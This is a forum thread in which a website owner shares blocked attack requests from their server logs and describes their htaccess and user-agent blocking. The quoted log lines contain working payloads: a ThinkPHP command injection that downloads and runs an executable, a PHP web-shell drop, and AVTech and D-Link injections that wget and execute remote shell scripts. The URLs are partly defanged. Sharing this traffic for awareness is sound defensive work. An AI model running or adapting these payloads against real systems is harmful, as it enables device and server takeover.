Can't remember which post I talked about hackers getting into unsecured peripherals. Well, here are three log items (all were blocked) from a ChinaNet IP, today:
1) "GET /public/index.php?s=index/think\app/invokefunction_function=call_user_func_array_vars=system_vars=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('hxxp://a46.bulehero.in/download.exe','C:/12.exe');start C:/12.exe HTTP/1.1"
2) "GET /public/index.php?s=/index/\think\app/invokefunction_function=call_user_func_array_vars=system_vars=echo ^<?php $action = $_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1"
3) "GET /public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('hxxp://a46.bulehero.in/download.exe','C:/12.exe');start C:/12.exe HTTP/1.1"
Isn't hydra.php a chip for a diesel truck engine? We need more things hooked up to the internet so the Chinese can hack them. I've obfuscated the urls so people don't accidentally click on them.
Saw one the other day where they were probing for what kind of phone system was there. Huge list.
Still waiting for the botnet looking for AVTech security cameras.
Can't remember which post I talked about hackers getting into unsecured peripherals.
At least I think that's it, anyway.
You set up your own firewall, or whatever it is you use to block those things, right? And, just out of curiosity, what part of those is it that makes your system catch them and stop them?
I'm so glad I have very few devices and/or peripherals.
I set things up in two stages: htaccess files that look at the user agent and block terms and browser versions, as well as IPs/CIDRs for the scoundrels I find. Unfortunately, I have to use /24 CIDRs (a block of 256 IPs) for everything found on the European site, because they mask the last digit of the IP octet in the logs iaw EU General Data Protection Regulations.
The htaccess file gets the ones that come in 'direct' by IP that the CDR doesn't handle. Then I have a similar set of blocks on the CDR, which also has some of it's own rules.
What's good about this system is that *most* people update their browsers and the bad guys usually use old versions of things. For example, the Chinese stuff above was all MSIE 9.0. There's a set of bots that routinely use Chrome 51, Chrome 52, Safari 9.1.2, MSIE 9.0, or nothing at all (blank string) - all are immediate blocks. If a real person gets blocked, the 403 page gives them the date, their IP, their UA string, and tells them to upgrade their browser... if they actually read it. Some don't.
If they come in with a recent version string they'll get in unless I've blocked the IP previously. 90% of the time it's a good stopgap and better than nothing until I get the IP denied.
Found some old botnet examples:
Dark botnet (184.108.40.206 is a Frantech Solutions server):
"GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin ;XmlAp r Account.User1.Password>$(cd /tmp; wget hxxp://220.127.116.11/avtechsh -O d4rk; chmod 777 d4rk; sh d4rk)&password=admin HTTP/1.1"
Sefa botnet (18.104.22.168 is a FranTech Solutions server):
"GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin ;XmlAp r Account.User1.Password>$(cd /tmp; wget hxxp://22.214.171.124/avtech -O darkxo; chmod 777 darkxo; sh darkxo)&password=admin HTTP/1.1"
Hakai botnet (126.96.36.199 is a KV Solutions server):
"GET /login.cgi?cli=aa aa';wget hxxp://188.8.131.52/bins.sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1"
Hakai v2 botnet (184.108.40.206 is an Aruba S.p.A. server):
"GET /login.cgi?cli=aa aa';wget hxxp://220.127.116.11/sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1"
I've arbitrarily named these with the user-agent that each uses. The first two (Dark and Sefa) actively target AVTech security cameras. The latter two (Hakai) target a vulnerability in DLink routers.
Again, I've obfuscated the URL so that people don't accidentally click on them.